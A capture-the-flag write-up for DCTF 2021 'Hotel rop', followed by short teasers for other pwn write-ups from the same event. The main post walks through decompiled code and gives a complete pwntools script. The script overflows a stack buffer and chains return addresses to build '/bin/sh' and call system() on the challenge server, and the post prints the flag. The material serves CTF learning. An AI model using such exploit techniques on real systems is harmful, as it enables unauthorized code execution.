DCTF 2021 - Hotel rop

ROP chain with multiple function and then ret2win

Description

They say programmers' dream is California. And because they need somewhere to stay, we've built a hotel!

nc dctf1-chall-hotel-rop.westeurope.azurecontainer.io 7480

Preface

We got a binary file with simple input and some output related to hotel checkIn.

Overview

Based on the name of the challenge, we can be certain, that some sort of rop is needed.

Loading the binary into ghidra we can see our function vuln.

void vuln(void)
{
  char local_28 [28];
  int local_c;

  puts("You come here often?");
  fgets(local_28,0x100,stdin);
  if (local_c == 0) {
    puts("Oh! You are already a regular visitor!");
  }
  else {
    puts("I think you should come here more often.");
  }
  return;
}

Based on these inputs, we know where we can overflow. Looking at the functions with radare2 and afl, we find the function california, silicon_valley and loss.

The name loss seems to be a reference to the normal ret2win function. Because in this function we got our system call.

void loss(int param_1,int param_2)
{
  if (param_2 + param_1 == -0x21523f22) {
    puts("Dis is da wae to be one of our finest guests!");
    if (param_1 == 0x1337c0de) {
      puts("Now you can replace our manager!");
      system((char *)&win_land);
      exit(0);
    }
  }
  return;
}

For this to work we need win_land to have the correct content.

For this we have the function california

void california(void)
{
  puts("Welcome to Hotel California");
  puts("You can sign out anytime you want, but you can never leave");
  *(undefined *)((long)&win_land + (long)len) = 0x2f;
  len = len + 1;
  *(undefined *)((long)&win_land + (long)len) = 0x62;
  len = len + 1;
  *(undefined *)((long)&win_land + (long)len) = 0x69;
  len = len + 1;
  *(undefined *)((long)&win_land + (long)len) = 0x6e;
  len = len + 1;
  return;
}

and the function silicon_valley

void silicon_valley(void)
{
  puts("You want to work for Google?");
  *(undefined *)((long)&win_land + (long)len) = 0x2f;
  len = len + 1;
  *(undefined *)((long)&win_land + (long)len) = 0x73;
  len = len + 1;
  *(undefined *)((long)&win_land + (long)len) = 0x68;
  len = len + 1;
  *(undefined *)((long)&win_land + (long)len) = 0;
  len = len + 1;
  return;
}

So my final rop chain would need to be calfornia -> silicon_valley -> loss. Looking at the function loss I first thought I need to set the correct parameters. But because I was to lazy for this I just calculated the offset of the puts relative to the base and add it. This way I don't need to worry about any parameters and get to system.

So my finale exploit code was:

#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.log_level = "INFO"

vulnerable = './hotel_rop'
elf = ELF(vulnerable)

#p = elf.process()
p = remote("dctf1-chall-hotel-rop.westeurope.azurecontainer.io", 7480)

p.readuntil('Welcome to Hotel ROP, on main street ')
main_address = int(p.readline().strip(), 16)
print("main at",hex(main_address))

main = elf.symbols['main']
california = elf.symbols['california']
silicon_valley = elf.symbols['silicon_valley']
loss = elf.symbols['loss']

rop = ROP(elf)
rop.call(main_address+(california-main))
rop.call(main_address+(silicon_valley-main))
rop.call(main_address+(loss-main)+0x32) # Skip all the checks and go to puts and then system

p.readuntil('You come here often?')
p.sendline(b'\x41'*40+bytes(rop))
p.readuntil('I think you should come here more often.')
p.read( 2048, timeout=1 )
p.read( 2048, timeout=1 ) # cleanup output
p.interactive()

In the shell I only needed to print the content of flag.txt.

The flag was:

dctf{ch41n_0f_h0t3ls}


DCTF 2021 - Pwn sanity check

Simple buffer overflow with ret2win.

Description This should take about 1337 seconds to solve. nc dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io 7480 Preface We get a simple binary, with simple input and output. Overview Looking at the binary in ghidra, I found these functions. void vuln(void) { char local_48 [60]; int local_c; puts("tell me a joke"); fgets(local_48,0x100 Read More


DCTF 2021 - Just In Time

Using frida to get decrypted flag.

Description Don't fall in (rabbit) holes Preface We get a binary which just prints Decryption finished. Overview Using ghidra, we can analyse the binary. Inside the main of the binary we can see, that their is some binary content and multiple functions called with strncpy in between. undefined8 main(int argc,char **argv) { char *key_text; char Read More


DCTF 2021 - Readme

Format String to dump the memory and get flag.

Description Read me to get the flag. nc dctf-chall-readme.westeurope.azurecontainer.io 7481 Preface We get a binary which asks for our name and then prints hello + input. But in order for the binary to run, a file flag.txt needs to be created in the working directoy. Overview Decompiling the binary in ghidra, we see a function vuln where the logic happens. The decompiled function with some renaming of the variables looks like this: void vuln(void) { Read More


DCTF 2021 - Pinch me

Buffer overflow to overwrite variable

Description This should be easy! nc dctf1-chall-pinch-me.westeurope.azurecontainer.io 7480 Preface We got a binary file which asked us Am I dreaming? and with basic input prints then Pinch me! Overview Loading the binary into ghidra we can see, that the interaction happens in the function vuln void vuln(void) { char local_28 [24]; int local_10; int local_c Read More


DCTF 2021 - Baby bof

Buffer overflow and ret2libc

Description It's just another bof. nc dctf-chall-baby-bof.westeurope.azurecontainer.io 7481 Preface We got a simple binary with output plz don't rop me and after our input plz don't rop me Also we got a Dockerfile, which showed us the used image was Ubuntu:20.04 Overview Based on the output, we know it was a rop challenge. Also checksec baby_bof gave us. Arch: amd64-64-little RELRO: Partial RELRO Read More


DCTF 2021 - Bell

Read number and run throught known function

Description Blaise's friends like triangles too! nc dctf-chall-bell.westeurope.azurecontainer.io 5311 Preface The function gives us a number and then waits for multiple inputs. Overview Loading the file into ghidra we can take a look at what happens. undefined8 main(void) { int iVar1; uint uVar2; time_t tVar3; tVar3 = time((time_t Read More


Navigation